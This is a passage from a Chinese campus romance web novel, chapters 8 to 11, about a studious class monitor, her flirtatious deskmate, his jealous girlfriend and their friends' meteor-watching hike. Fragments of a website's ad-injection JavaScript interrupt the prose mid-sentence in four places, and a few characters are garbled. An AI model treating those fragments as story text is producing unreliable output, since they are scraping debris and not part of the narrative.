看着她真的委屈的要掉眼泪的样子,宋时晏连忙低头,有些无奈道:“好好好,不跟她说,不说。” 末了,还是多嘴了一句:“学习上的事,总不能不搭理,等下捅到老陈那里去了,又麻烦。” 江初月轻哼了声:“总之,你别对她笑就是了,只准对我笑。” 宋时晏乐了:“没发现你还有这么霸道的一面呢。” 江初月本来想说,你不知道的多了去了,看到沈梨走过来的身影,她又改了口:“宋时晏,我刚刚说的话,你都记住了吗。” 宋时晏嗯了声:“听见了。” 她说:“那你复述一遍,我要听听看。” 宋时晏手撑着后脑勺,非常好脾气地说:“不跟别的女生多说一句话,眼睛里只装得下你一人。” 江初月笑了笑:“我也是。” “哐叽”一声,沈梨一摞书没放得稳,全砸在了地上,有的还撞到了宋时晏撑在桌面上的手肘,书散落一地。 宋时晏回头,看到满地的书,正打算帮忙捡,江初月在窗户外就叫住了他:“宋时晏!你刚刚说的话就忘记了?!” “......” 沈梨抬眸,对上他有些犹豫的眼神,她抢回了宋时晏手上的那本书,有些冷淡道:“不用,也不需要示好,不守纪律的事我都会如实告诉老陈。” 8. 第 8 章 沈梨很快就适应了同桌是宋时晏这件事,除了第一节课的自习偶尔会走神,之后进入学习状态后也就忘了身边人的存在。 上课,认真听老师讲课,心中无杂念。 下课,做两道题,巩固一下知识,没空搭理旁人,有趣的是,自从换了座位后,一到课间,江初月就总会跑过来,隔着窗台,和宋时晏说话。 以前也没见她找的这么勤过。 故意说话说得很大声,想要引起沈梨的注意,结果没引来目标,倒是吵到了周薇的新同桌——蒋奇。 “他妈的声音小点儿啊,吵死了。”蒋奇困得厉害,好不容易挨到下课时间,还没享受两分钟,就听江初月尖细的声音在耳边翁嗡嗡的,很是暴躁地回头冲窗台那吼了一句。 教室有些吵闹,没人注意到这个角落。 周薇在看小说,也被这突然的吼声吓了一跳,回头看到江初月脸上的尴尬神色,偷偷抿唇笑了下。 江初月被吼得有些发愣,反应过来就要骂回去,宋时晏拿了本书,挡在了她正脸前方,好声好气道:“理解下,这兄弟昨晚熬了个大夜,咱们说话声音小点。” 江初月愤愤不平地瞪了他一眼:“你怎么老是不站在我这边啊,要你这男朋友有什么用!” 她眼眶发酸,捂着眼睛就跑走了。 “诶,江初月。” 宋时晏立马就站起了身来,刚准备直接从窗台那翻过去,就看到沈梨已经站了起来,站在过道上给他让路。 宋时晏愣了一下,随即还是说了声:“班长,谢谢啊。” 然后就跑到走廊外面追着哄人去了。 周薇转过身,小声吐槽道:“江初月的脾气好差啊,真不知道宋时晏他怎么受得了的。” 沈梨的笔尖在草稿纸上,划出了很长的一道杠,她无法回答这个问题,也不想知道。 “今天有英语默写,单词背了吗。” “.......” 周薇不可控地哀嚎了一声:“梨梨,你总要在我最快乐的看小说时光说这么吓人的事!” 沈梨的唇角难得露出一丝笑意:“不想罚抄就赶紧去背。” “哎哟,不想背,唉,记不住,不认识这——” 旁边一道忍无可忍的声音阴测测地响起,主人似乎还是磨着牙说的:“周、薇,你再乱嚎,我打你啊。” “......” - 下午的英语课,老师一进来,就让学生将英语书给藏在桌肚里,而后开始默写。 老师人在讲台下晃悠,走来走去的监督,一个接一个的报着单词,沈梨写得快,写完还有点喘息时间。 她一个不经意抬头,就看到了宋时晏那蠢蠢欲动伸向桌肚的手,沈梨默默地投去了一个眼神,与此同时,也没忘了默写听到的单词。 宋时晏:“......” 到底还是不敢在她面前太猖狂。 他放弃了作弊的想法,直接交了个零蛋上去,结果就是每个单词都得抄100遍,明天上课之前,交上去。 晚自习,依旧没老师管,隔壁班有人过来喊宋时晏出去玩,黎荇几人也已经在窗台边上等着了。 “走啊,晏哥,磨蹭什么。” 宋时晏早把单词的事给抛到九霄云外了,应了声来了,就要从窗台边翻过去,手刚搭上窗台,身后就传来一道清晰的声音。 “宋时晏。” 黎荇差点没给眼珠子吓得都瞪出来,左看右看,确认了好几遍,那声音是沈梨发出来的,还提醒在发愣的宋时晏:“晏哥,班长叫你呢。” “用你提醒!”宋时晏磨牙刺他。 “班长有事?”宋时晏大概已经猜到是因为他要逃晚自习的事,管管他上课睡觉,抄作业这些事就算了,总不能真的跟个老妈子一样,什么都管吧,“睁只眼闭只眼呗,我都听话一天了,差不多可以了吧。” 沈梨:“这些话你去跟老陈说,我不想惹麻烦。” “.......” 隔壁班的不太清楚沈梨的威慑力,略带嘲讽地说了两句难听的:“一个班长,还给你牛逼上了,晏哥,你管她干什么啊,装得要死,走了走了,待——” 黎荇扒拉了下说话的那人:“你闭嘴吧。” 宋时晏看着表情没什么变化的沈梨,突然有些泄气:“算了,不去了,你们玩吧。” 隔壁班的还想说什么,被黎荇他们几人给强行拉走了,那些人还不明所以:“不是,不就一个拿根鸡毛当令箭的班长,你们怕啥啊,干嘛呢。” 黎荇说:“人就一个一心搞学习的学霸,你为难她干什么,晏哥现在被看得紧着呢,不出来就算了。” “行行行,那我们去打。” 黎荇摆摆手,兴致缺缺:“你们去吧,我也懒得去了。” “???”隔壁班的,“真服了。” 沈梨再多难听的话也都听过,那些对她没什么攻击力,所以看到宋时晏没有出去时,她也就思绪飘了一会,便又开始进入学习状态。 没两分钟,手边传来一张纸条。 沈梨一开始没注意,后面是宋时晏实在没忍住,用笔尖轻轻戳了下她的手腕,沈梨才蹙眉,注意到那张纸上的内容。 ‘班长,跟你商量件事呗’。 后面跟着画了个笑脸。 沈梨用脸给他传递了个问号的意思。 宋时晏又拔了笔帽唰唰地开写。 ‘每周的晚自习,能不能放我出去两次,其他的时间里,保证听你的话!’ 沈梨拒绝了。 宋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时晏磨了好一会,见她仍不松口,又改了策略。 ‘班长,你是不是挺讨厌我啊’。 沈梨看到这行字,有一瞬乱了呼吸,终于拿起了笔,言简意赅写了个‘没’字。 ‘那你就通融通融呗,除了这俩晚自习,其他的时候绝不惹事。’ ‘求求你了啊,班长,看在我是你新同桌,未来还有可能坐一起很久的份上,通融下嘛,咱们和平共处行不行,我要真闹起来,你怕是也招架不住啊。’ 沈梨直接把那张写满了字迹的纸,团吧团吧塞到了自己桌肚里,全当刚才的事没发生过。 宋时晏:“.......” 沈梨以为宋时晏就这么的会放弃了,结果课间,教室里有了吵闹的声音后,她正刷着题,旁边的宋时晏就凑了过来,直接语音模式开启:“班长,刚跟你说的事,你考虑一下嘛,真的。” “不止管住我自己,还帮你管着其他人不犯纪律,行不行。” 沈梨:“......” 前面的周薇跟蒋奇都好奇地转过了头来,沈梨的笔尖差点在书上戳出一个洞来,她转头看着宋时晏,郑重其事地说了两个字:“不行。” “噗呲...”蒋奇笑了声,“晏哥,你以为班长好糊弄啊,别想了,老老实实待着吧。” 宋时晏‘啧’了声,背靠在墙上,大剌剌地面朝着沈梨坐着,右手还没闲地转着本书在玩:“不死心啊,这不是在试试,班长不能真那么残忍吧。” 沈梨有些听不下去了,尤其是那人都蛮横地将脚伸到她桌底下时,‘蹭’地一下就站了起来:“薇薇,去厕所吗。” “好勒!” 走廊上,周薇劝她:“梨梨,你也别一味地管得太严了,要循序渐进,有商有量知道吧,逼急了,不知道那些人会做出什么来。” “我觉得宋时晏说的两节晚自习换他管点纪律,这个办法,挺不错的。” “你天天搞学习,不知道,别看宋时晏平时总吊儿郎当嬉皮笑脸的,要真生起气来,他才不会管你是男是女的,看不顺眼就揍了。” 沈梨的小心脏颤动了一下,属实是有些遭到了冲击,应该不至于吧... 周薇还在继续说:“就之前有次噢,江初月不是被校外的混混给缠上了吗,宋时晏知道后,直接一个人冲进去打群架,就这,还占了上风,真的是有点可怕的。” 沈梨确实把这事往心里听了,也有些担心,闹得太不愉快,会影响自己学习,回到教室里,就发现自己座位上多了个人。 江初月还不知道她回来了,喋喋不休地跟宋时晏说:“你怕她干什么呀,逃了最多也就是罚站而已,我们就晚自习的时候能溜出去一起多待会,你难道还真打算那么听她话啊。” “......” 9. 第 9 章 沈梨做事挺较真的,类似于,要么就不做,要么就做好,所以她去了趟办公室,和老陈说了下宋时晏提出的条件。 “他这样,有点影响我学习了。” 陈春芳扶了扶额,也没想到,自己有天会听到学生跟她讨价还价逃晚自习的事,但班上好几个都是家世背景比较好的学生,就算没考上大学,下半辈子也是衣食无忧。 他们整天逃课,违纪,很影响班级氛围,偏偏什么法子都对他们用过,没效果,要宋时晏真管得住那些人,老陈倒也是能省点心。 “先坐半个月试试。”老陈说,“要是没效果,就随他们去了,那群大少爷大小姐的前途啊,也用不着我来操心。” 沈梨说好。 而后回了教室,跟宋时晏传达了下结果。 他颇为得意的挑了挑眉,做了个帅气的手指点头,又轻甩出去的动作:“班长,不会让你失望的。” 少年的笑容肆意张扬,只一眼,便被铭记在了脑海里,这是沈梨第一次,和他有了正式的沟通交流。 她听见了自己加速的心跳,如鼓声般刺耳。 知道他单词还没开始抄,有意提醒:“明天第一节课就是英语课。” 宋时晏嗯了声:“怎么了?” “罚抄100遍。”沈梨说“不抄完,老师会让你一直站着,什么时候抄完,什么时候回座位。” 宋时晏这才想起白日里发生的事,有心想说句什么,看了眼时间,还是老实地开始了罚抄,坐姿由一开始的板正,到撑在桌子上,后来直接趴着在写了。 直到铃声响,他满脑子都是那点英文字母在眼前转圈圈,与他相隔数远的黎荇一下课就窜到了走廊外:“晏哥,你今天送人么。” 宋时晏在奋笔疾驰,头也没抬:“不知道啊,看她要不要吧。” “你在干什么。”黎荇凑过来看,惊呼一声,“哎哟我去,晏哥,你什么时候这么听话了,说抄就抄了。” 宋时晏笑骂:“滚啊。” “你这还有多久。”黎荇趴在窗台上,“等你一起得了。” 宋时晏抽空回头看了眼江初月的位置,她还在收拾东西:“我问下她。” “靠。”黎荇不满地甩了甩手,“重色轻友的家伙,我走了,鬼等你。” 黎荇是真走,也不知道咋的,他对江初月这人莫名其妙地喜欢不上来,每次他们几个兄弟伙玩得正开心时,只要江初月一过来,他秒变脸,坏了兴致,玩起来都没那么爽了。 他也不好说什么,显得真跟自己嫉妒了一样,还是不惹这么一身腥,就算被骗了,那也是宋时晏该的,眼光差得要死。 江初月来到窗前,问宋时晏怎么还不走,宋时晏说要等会,差不多还有10来分钟,江初月看了眼教室前面墙上挂的钟表:“那我先走了。” “行。”宋时晏也没挽留。 教室里稀稀拉拉的,没剩几个人了,剩下的基本都是住宿生主动留下来上第三节晚自习的,南城一中历来都是高三上三节晚自习,高一高二只用上两节,但鼓励他们上第三节。 安安静静的,只有笔唰唰的声响,等宋时晏好不容易写完,按压着酸痛的脖子抬起头时,才发现沈梨还没走,有些新奇:“班长你都上到第三节晚自习才走的啊?” 沈梨写字的笔一顿,嗯了声。 “有人一起么?” 沈梨撒了个谎:“有。” “好,那我先走了,拜拜。” 宋时晏直接从窗台那翻了过去,针落可闻的教室里,仿佛还能听见他疾步下楼梯的动静,沈梨轻声回应了句:“拜拜。” 楼梯道重新归于安静时,沈梨也开始收拾起了自己的东西,抬头看了眼钟表,这个时间点,大伯母他们应该准备要睡觉了吧。 快点赶回去,应该能赶上,不被挨骂。 没过一会,楼梯道再次传来噔噔噔的动静,从教学楼里几乎是冲出来一个人影,沈梨赶到车棚,踢了脚踏,抬脚就准备站起来踩,结果那毫无阻力的驱动感,差点让她摔一跤。 上了年纪的自行车,就是这样,经常不是这里坏就是那里出问题,这链条都不知道坏了多少次。 真是屋漏偏逢连夜雨,沈梨蹲下身,借着路灯,尝试着修好,后来弄得满手是机油,没有半点进度时,她果断弃车,跑回家。 学校门口开了一条小吃街,基本都是为一中的学生服务,哪怕已经快9点了,依旧有零星两家店门口亮着灯,接待人。 “班长?” 路过一家小店时,沈梨以为是出现了幻觉,听错了,第一声没反应,后来那人猛地站起来,喊了一声:“沈梨。” 她刹住脚步,回头,有些微喘,看到了刚刚离开的宋时晏,他的身后落下了一束昏黄的灯光,小摊的热锅里云雾缭绕,朦胧的画面,让沈梨恍惚有一种错觉,他们好像是相识多年但很久没见的友人,在一个平淡的夜里,就这么突然地重逢了。 “你朋友她们没等你?”宋时晏以为她和自己一样,也都被人给抛弃了。 沈梨顺着这话点了点头,宋时晏热情地邀请她一起吃馄饨:“你饿不饿,吃完我送你回去吧。” “..不用。”沈梨说,“我还有点急事,先走了。” “诶——” 沈梨跑的很快,宋时晏甚至都反应不过来,他那碗馄饨都还没还没吃几口呢,连忙掏了现金放桌上,跟老板说:“先别收我的,我待会再来吃!” 宋时晏自己也说不来,这天晚上他发什么神经,就默默地跟在了沈梨身后,看着她一路小跑,安全到了所住的小区后,才放心折返而去。 后来,听别人跟他说起个词,说这种行为叫什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中央空调,女朋友挺没安全感的,说不定,还会生出一些误会来。 宋时晏听得懵懂,似乎也觉得这样的话挺有道理的,开始减少了自己一些没必要的好心,有意的和异性保持着合适的距离。 - 宋时晏说到做到,每周两个晚自习的时间,将班上一些刺头管得服帖,虽然牺牲了自己很多东西就是。 换座位半个月后,沈梨能明显感觉到宋时晏和江初月的感情越来越好了,几乎每节课的课间都会去找她聊天,周末也会经常约着出去玩,有同学撞见了他们一起去看电影。 周薇看了都忍不住说道:“宋时晏这种明显校园文男主的配置,在小说里一般是浪子回头的设定,没想到他还挺专一的。” 沈梨笑了笑:“可能是你还看到这种设定的男主文。” 周薇撇了撇嘴:“但江初月可不像是女主啊。” 沈梨认真思考了下,忽略了心头那股窒息感,她说:“宋时晏喜欢,江初月就会是他的女主,...也只能是她。” 这时,睡到一半,被迫听了整个对话的蒋奇幽幽来了一句:“什么男不男主女不女主的,我只知道,这俩长久不了。” 一句话就成功勾起了周薇的好奇心:“真的吗,你怎么这么确定?喂,你别睡,继续说啊。” 蒋奇说完这话,就又继续扭头睡觉了,也不搭理周薇的呐喊,气得她小声嘟囔:“睡睡睡,就知道睡,天天跟个睡神一样,晚上打鬼去了吧,这么能睡。” “周薇,我听得见,你再多说一句,信不信我把你舌头拔了!” 周薇朝他的后脑勺做了个鬼脸,到底还是没再继续。 沈梨忽略他们二人的吵闹,只是轻轻地蹙了下眉头,忍不住在心里反问:长久不了吗?哪里看出来的。 午间吃完饭,沈梨和周薇从食堂回来,就发现她们俩的座位被别人给占了,还是不认识的,估计隔壁班的,和宋时晏蒋奇两人聊得很是开心,黎荇也在。 这也就算了,等走近了,周薇才注意到自己的椅子被一个特没素质的人用脚踩着的,两个大腚坐她课桌上,书都快被挤掉下去了。 沈梨的座位是黎荇在坐,免遭一难。 蒋奇看见自己同桌回来了,视线追随着她的脚步,忍不住嘴贱:“哟,回来了啊,不好意思啊,占一下你位置聊聊天。” 周薇皱眉,没理人,只抱着她那摞快要掉了的书,坐在了过道另一边,没吭声。 两个男生没当回事,还在畅聊,蒋奇开始赶人:“行了行了,聊的都差不多了,就这样吧。” 黎荇也注意到了有些尴尬的沈梨,附和着一起赶,那两个隔壁班的说了句扫兴,这不是离上课还有点时间,拍拍屁股就准备要走。 蒋奇抬手拦了下:“给我同桌位置弄干净啊,没看见她生气了啊。” 10. 第 10 章 那几人面面相觑,跟看傻子一样看着蒋奇,瞧见他表情认真,不似作假,才随便敷衍地拍了下灰,走的时候,还在拍他肩膀。 “你这兄弟,做得挺有意思。” 宋时晏听见,没憋住笑,黎荇也站了起来,整理了一下被自己弄得有些乱的桌子:“不好意思啊,班长。” 沈梨摇了摇头,但还是蹙眉说道:“没有下次了,我有点介意。” 黎荇尴尬地抓头发:“我懂,懂的。” 说完就朝宋时晏递了个眼神,随后溜之大吉。 沈梨的还好,就只是有点乱,周薇看到自己桌椅的惨样,简直要气死了,椅子上,有个残缺的泥巴脚印,桌子上没来得及合上的书,被那两人给坐得书脊都塌了,她磨了磨牙:“蒋奇,看你干的好事!” “你怎么不让他们踩你的椅子!脏死了啊!” 她一边说一边觉得委屈,翻箱倒柜、大动静的找纸巾,没找着,沈梨从口袋掏出一包纸巾,忙给递了出去。 周薇还没拿到,就被蒋奇给抢先拿去,他殷勤地拆开包装,抽出张纸擦椅子:“我的,我的问题,别气了祖宗,给你弄得干干净净的行吧。” “这不是你该弄的吗?”周薇此刻的战斗力十足,又拿起那本复原不了的书,摆他眼前,“你看我的书啊,都坐成啥样了,你下次能不能别把人往我桌子上带。” 蒋奇任劳任怨挨骂:“是是是,没下次了。” 他用纸巾擦了遍,又用自己袖子擦了一遍:“怎么样,这下够干净了吧。” 周薇轻哼了声,从他桌上拿起了一本不太常用到的课外书扔椅子上,而后直接坐了下去,扬着眉,理直气壮地说道:“我怕他们有脚气。” 蒋奇仍旧是笑着的:“行,你有理,那现在消气了没。” 周薇看着自己那本‘战死’的书,还是皱着眉头:“我这书怎么办,都被坐成这样了,合都合不上。” 蒋奇直接扔过去一本崭新的,将那本破书给塞到了自己桌肚子里:“多大点事,这不就解决了。” 周薇勉强扯了下唇,龇牙咧嘴道:“书上的笔记我全部重新都得再抄一遍,你最好是别有一天把这书再给我要回去了。” 蒋奇挑了下眉:“我会是这种人?” 周薇冷笑,蒋奇看宋时晏一直在吃瓜,问他:“晏哥,我是这种人?” 宋时晏忍着笑,摇了摇头:“不好说。” 蒋奇气笑了,转头又去问在刷题的沈梨:“班长,你最公正,你说说,我是那种言而无信的人吗?” 沈梨只知道前面有些喧哗,但不知道他们在说些什么,闻言,思考了下,认真道:“我不太清楚。” “.......” 蒋奇脸色有点难看,周薇噗呲一声笑出了声,颇为得意的‘嘲讽’道:“有的人啊,还以为自己是个多正义的人呢。” 蒋奇撩了撩自己头发,没想说给谁听,小声嘟囔着:“我觉得自己挺正义的。” 尽管说得很小,但周薇还是听见了,察觉到他隐隐有些失落的情绪,她改了口:“我知道,我开玩笑的。” - 周五下午,临近放学的最后一个课间。 教室里闹哄哄的,每个人脸上都写满了兴奋,显然是已经开始期待起了接下来的周末,蒋奇难得没有睡觉,而是偷摸摸看了周薇很多眼,欲言又止的。 周薇看小说看得正认真,根本就没发现他的怪异,眼看着,再不说就没了机会,蒋奇‘诶’了一声,漫不经心问着:“你周末准备干嘛。” 周薇头都没抬:“不干嘛啊,在家待着。” 蒋奇兴致勃勃地问:“明天枫柳山上有流星划过,去不去看?” “枫柳山啊。”周薇摆了摆手,“不去不去,才不去爬山,累都要累死了。” 蒋奇还以为是什么理由,听到是这个,无语地翻了个白眼:“懒死你算了” 而后又忍不住嘴贱:“天天吃了就睡,睡醒了就吃,你不胖谁胖。” 周薇震惊地从书里抬起头来,气得直接锤了他一拳:“蒋奇,你有病吧,你才胖子呢,别打扰我看小说,烦死了。” “睁开你的大眼睛看看,哥这叫壮,好吧。”蒋奇突然挽起了自己的校服袖子,一把撸到肩膀处,将肌肉给绷紧了,自己还拍了拍,“看哥这肱二头肌。” 宋时晏抬头看了一眼,点了点头:“嗯,练得不错。” 蒋奇挑了挑眉,周薇嫌弃地撇了撇嘴,忽然注意到了什么,疑惑地伸出手指往他肱二头肌下方某处用力戳去—— “我擦!” 蒋奇发出杀猪一般的叫声,惊得沈梨都没忍住,好奇地抬头看看。 周薇吓了一跳,还维持着那个伸出食指的动作:“这...这么大动静?” 蒋奇低头扒拉着被她戳到的那块肉,果然已经紫黑一片,他咬牙切齿,字是挤出来的:“你看不到那里发紫了吗!” “一下子没忍住,”周薇无辜眨了眨眼,“你怎么弄的?” 蒋奇没打算从她这下手了,收拢了袖子,转头去问沈梨:“班长,你去不去。” “嗯?”沈梨被问得有些茫然,“去哪?” “明天枫柳山上有流星看,一起去玩玩啊,别整天闷在家里搞学习是不是,要劳逸结合,适当地出去散散心,这样学习效果会更好,晏哥,你说是不是。” 宋时晏正转着笔玩,配合地点了下头:“嗯,是。” 沈梨:“噢,不去。” 蒋奇:“.......” 周薇不客气地笑了一声:“你怎么想的,你劝我去,成功的几率还大点。” 蒋奇显然是还记着刚刚那事的仇,无视了周薇的话,自顾自跟宋时晏说:“晏哥,你这怎么回事啊,我都邀请了我同桌,你这,不上道啊。” ‘啪嗒’。 手中的笔摔在了桌上,磕出声响,好似在沈梨心脏处颤动了一下。 沈梨莫名地有些呼吸不太顺畅起来,握着笔的手,已经不知道题的下一个步骤该写 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么了。 两秒后,宋时晏笑了笑:“还是别打扰班长搞学习了。” 悬起来的心还是狠狠砸了下去。 蒋奇‘切’了一声:“虚伪。” “女朋友不让就不让,扯什么打扰班长搞学习的事。”蒋奇说,“班长,别听他胡咧咧,我诚挚的邀请你一起出去玩,给个面子,成吗?” 沈梨还没从恍惚中回过神,按捺不住的周薇已经凑了过来,充当起了她的发言话筒:“梨梨不想去,你干嘛非得让她跟着去。” 蒋奇心高气傲:“有你什么事,班长什么时候说不去了,怎么,你不去还不准班长去啊,你这人咋这么自私。” 周薇张嘴想插话,半天没插进去。 蒋奇还在那说:“我跟班长玩得好,就想跟她一起去看星星,不行吗?” 周薇闭了闭眼,朋友之间的那种占有欲上来了:“你乱说,梨梨玩得最好的朋友是我!” “而且,梨梨才不会去呢,你不知道吧,她周末有事,都是要——” 周薇的话还没说完,就被沈梨有些急促地打断了,情急之下,她说了句:“我去。” 宋时晏回眸,若有所思地看了她一眼。 周薇也傻了眼,沈梨后知后觉地察觉到了自己做了个多荒唐的决定,刚想解释,就已经被蒋奇给拍板做好了决定:“就这么说好了,我们明天不见不散!” - 周六吃过午饭后,沈梨就从家里出发,去了枫柳山下所商量好的那个汇合地点,她是第一个到的,听蒋奇说。 他们会在山顶租帐篷休息一个晚上,第二天早晨等工作人员开始工作了坐缆车下山,这里面不管是哪一个项目,都挺费钱的。 轻轻叹了口气,想到这笔突然多出来的支出,就有些琢磨不明白,昨天自己怎么突然就那么快的给说了出来,都没有反应的时间。 又过了十来分钟,远远地,周薇就抬起手和她打招呼,沈梨站起来过去迎接她,这才发现,她背了一个出奇大的书包,都快将她背给压弯了。 沈梨还上手掂量了下,有些意外:“...这么重?你装铁来锻炼了?” 不过是从公交车站走到这山脚下的一会功夫,周薇就已经累得踹不来气了,闻言,摆了摆手:“梨梨,你还会说冷笑话了。” 沈梨觉得自己挺真情实感的。 “你放点东西到我包里吧,帮你分担点。” “诶,没事。”周薇说,笑嘻嘻地凑近了,“我这里面装得都是零食,嘿嘿,蒋奇不是说我们得在那呆一晚上嘛,山顶的东西肯定又贵又没有什么好吃的,所以我就自己带了点,我们晚上一起吃!” 沈梨从口袋里抽出一张纸巾,擦了擦她额头上的一层薄汗:“行,背不动了别逞强。” “嘿嘿,放心放心,背不动肯定会让你帮忙的!” 两人躲在树荫下歇息着,聊了一会,又有人走了过来,一看见周薇就止不住笑容地哟了一声,怪声怪气的:“这谁啊,不是说不来了吗?” 11. 第 11 章 前方乌泱泱地一群人朝她们走过来,周薇一看到走在最前面的蒋奇就莫名其妙有一些心虚,抬手遮住了自己的脸,这还不够,又拼命往沈梨身后躲去。 阴阳怪气的话依旧钻入耳中,周薇又懒得躲了,也不是个事,红着脸跟他辩驳:“那咋了,我是跟梨梨出来玩的,又不是你。” 蒋奇一副‘我早就看透了你的模样’盯着她,双手得意地抱了抱胸,说了句:“小样,我还治不了你。” 周薇有点破防,跟他争执起来,蒋奇转头又去嘲笑她是不是把全部家当都给搬了过来,两人又跟个小学生一样吵了起来,给同行几人逗得乐不可支,都尽去看他们热闹了。 沈梨嘴角也露出浅浅的笑意,枯燥重压的高中生活下,能有这种随时提供乐趣的好朋友似乎也挺不错的。 刚一抬头,就看到了走在最后面姗姗来迟的宋时晏和江初月,她脸上的神情有些收住,只匆匆看了一眼,又瞥向别处。 心不在焉的江初月突然看到人群里的那抹倩影,表情都变了,语气不太好:“怎么把她也叫过来了,谁叫的啊,都不说一声的?” 宋时晏皱了皱眉,刚想说句什么,那边的蒋奇已经听到了,立刻停止了跟周薇的‘战争’,毫不客气地呛了回去:“我叫的,怎么了,山是你家开的啊,让谁去还得先过问下你?” “你....”江初月脸都要给气红了,瞪了眼宋时晏。 宋时晏挠了挠额头,走过去锤了蒋奇一拳:“说话就说话,别夹枪带棒的,你要不乐意,我们分开走?” 蒋奇高声:“我看行,就这么地吧。” 江初月双手抱胸,有意无意地撇着沈梨:“分开就分开,谁乐意跟讨厌的人一块走啊,晦气。” 宋时晏蹙眉拦了下她:“够了,别说太过分的话。” 江初月撇了撇嘴,但也是不敢在他面前说得太放肆,只是低声嘟囔给自己听:“我有说错么?她本来就挺让人讨厌的。” 本来就是一起过来玩的,分开走那像个什么样子,以黎荇为首的几个人连忙做和事佬:“好了好了,都是同学,这是干嘛啊。” 周薇哼了一声:“谁乐意跟她出来玩啊。” 沈梨的反应平静到这话题中心人物仿佛不是她一样,脸色都不带变一点的,周薇很是佩服她这样的心态。 就在他们耽误的这点时间里,已经有不少人带着装备开始往山上的方向走了。 有人说:“快走快走,再晚点出发,好位置都快占了。” 几人这才收敛了各自的脾气,整理了下东西就准备出发,江初月看了眼时间,跟宋时晏说:“等下,还有人没到。” “谁?”宋时晏点了下人数,不多不少,“你还叫了人?” 话音刚落,他们身后就窜出一道身影,身穿黑色冲锋衣的男生,戴了墨镜,手边还牵了个女生的手:“不好意思啊,跟我女朋友来得迟了点,没耽误你们时间吧。” - 迎着午时的烈日,往上爬了大抵半小时的路,沈梨背后就出了一层薄汗,体力上倒是没消耗多少,她背了个包,里面就装了点面包和两瓶水,很轻。 周薇就没那么好了,她已经累得跟牛一样粗喘气了,沈梨扒拉了下她的手臂,脱离了人群队伍,在一处平地上歇息。 沈梨默默地把周薇书包里那些很占重量的牛奶,饮料往自己的书包里塞,周薇忙摆摆手:“够了够了,梨梨,我自己也可以。” 沈梨直白说道:“要爬45个小时,你不分出去一点,肯定爬不到。” 她哭丧着脸:“抱歉啊,梨梨,我光想着多买点东西来吃了,忘记了运上去的过程有多艰难了。” 沈梨摇了摇头,空瘪的书包里已经塞得鼓囊囊的:“走吧,等下要追不上他们了。” “好。” 蒋奇跟朋友们聊着,转头就没看到周薇沈梨她们身影,连忙折回来找,看到周薇那压垮了她脊背的书包,那个嘴巴又忍不住了:“爬个山,背一兜子零食,你怎么想的。” 周薇因为自己的体力不好,麻烦了沈梨本来就够后悔难受的了,结果蒋奇还这么骂骂咧咧地说她,一下子就爬山的兴趣都没了,她现在就想直接跳到山脚下去。 “我乐意,咋的,我知道路,不用你等,我能背上去。”她嘴硬。 蒋奇冷笑:“那你别让班长跟着你一起受累啊,她包里本来没多少东西,现在都被你的给塞满了。” 这话一下子就戳到了周薇心虚的点上,她脸有点红,也哑巴了起来,不知道说什么。 沈梨看气氛不太对,出来打圆场:“我还行,累了就休息会,总能爬上去的。” 周薇被说得眼眶都酸了,扭头稍稍仰起头,不让眼泪掉下来,蒋奇瞅见,神色有些复杂,他刚刚未必话说得很重? 都还没开始骂,怎么就哭了... 果然女人是水做的。 “班长,你包给我吧。”蒋奇没带东西上来,就带了点现金,轻装上阵。 沈梨说不用,但还是被蒋奇给霸道地提溜了过去,她有些懵,然后就看到蒋奇以更黑的脸色,将周薇的包也提了过去。 一手一个,走得轻松又飞快,也不回头看她们俩。 周薇见他走了后,才终于控制不住地掉眼泪,沈梨拿了张纸出来给她擦,周薇撇撇嘴,开口就是哭腔:“我第一次出来爬山,太兴奋了,多带点吃的怎么了,他就不能好好说吗,为什么要那么凶。” 沈梨不太知道怎么安慰,说了句:“那你待会骂回去,给自己出出气。” “...那还是不要了,他都帮我拿东西了,我不好意思骂。” 沈梨嗯了声:“那我们也快出发,已经落后不少了。” 下午3点多时,已经爬到了一半的路程,一群人决定原地停下来休整休整,补充□□力,沈梨在离大部队不远的地方找了个光滑圆润的石头坐着。 从口袋里掏出了一块巧克力, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拆了包装塞到嘴里含着,没急着咬,她有点低血糖了,刚刚眼前一阵阵的发黑。 就是他们不说停下来休息,自己应该也会找个地休整一下,周薇从自己书包里翻出来一板AD钙:“梨梨,快喝,减轻下负担!” 这话说得,沈梨原本没想喝的,听了之后,还是默默地喝上了,然后两人凑一起,周薇看着不远处的那对小情侣,又开始八卦了起来:“真没想到啊,江初月居然敢把秦渊给喊过来,她这是想干什么?” 沈梨摇了摇头,她也不清楚。 蒋奇没跟他兄弟凑一块,反倒是来了沈梨这边,也不问,直接从周薇手上抢了一瓶AD钙过来。 周薇诶了声,撇了撇嘴,还是什么话都没说,毕竟这人刚帮她把包提上来呢,都已经热的满头是汗了,还是稍微客气一点吧,她这样想着。 蒋奇觉得惊奇,又要多嘴问她怎么哑巴了时,江初月那边突然传来有些刺耳的声音:“累死了,到底是谁提的来爬山啊,我腿都快酸死了,宋时晏,你给我捶捶腿嘛...” 沈梨险些呛到,她抿了抿唇,心脏处有什么东西堵着,鼻子都不太通畅了。 蒋奇‘啧’了声,有些烦:“矫情死了,晏哥这人什么都好,就是找女朋友的眼光不太行。” 周薇很是赞同地点了点头:“你总算说了句我爱听的话了。” 蒋奇切了一声,好笑地看着她:“舍得理我了?” 周薇装傻看向别处不搭理,她一直就没有生气,就是不知道该怎么开口,一旁安静的沈梨,突然插话道:“蒋奇,你以前和江初月认识吗?” “认识,我们一个初中的。”蒋奇说,“她初中那会风评就不咋的,但怎么说呢,脸长得确实可以,还是有挺多男生追她的。” 周薇好奇道:“所以...他们两在一起,也是宋时晏主动追的?” 蒋奇摆了摆手:“江初月追的,听说上学期开始就在追了,晏哥也不知道怎么想的,居然会答应她。” 周薇唏嘘了一声:“应该没有谁能...拒绝得了美女。” “比她好看的又不是没有,我就觉得你比她长得可爱多了,脸圆圆的,像个小包子。”蒋奇话说的直白,“但比她不要脸的可就少见了,” 周薇:“.......” 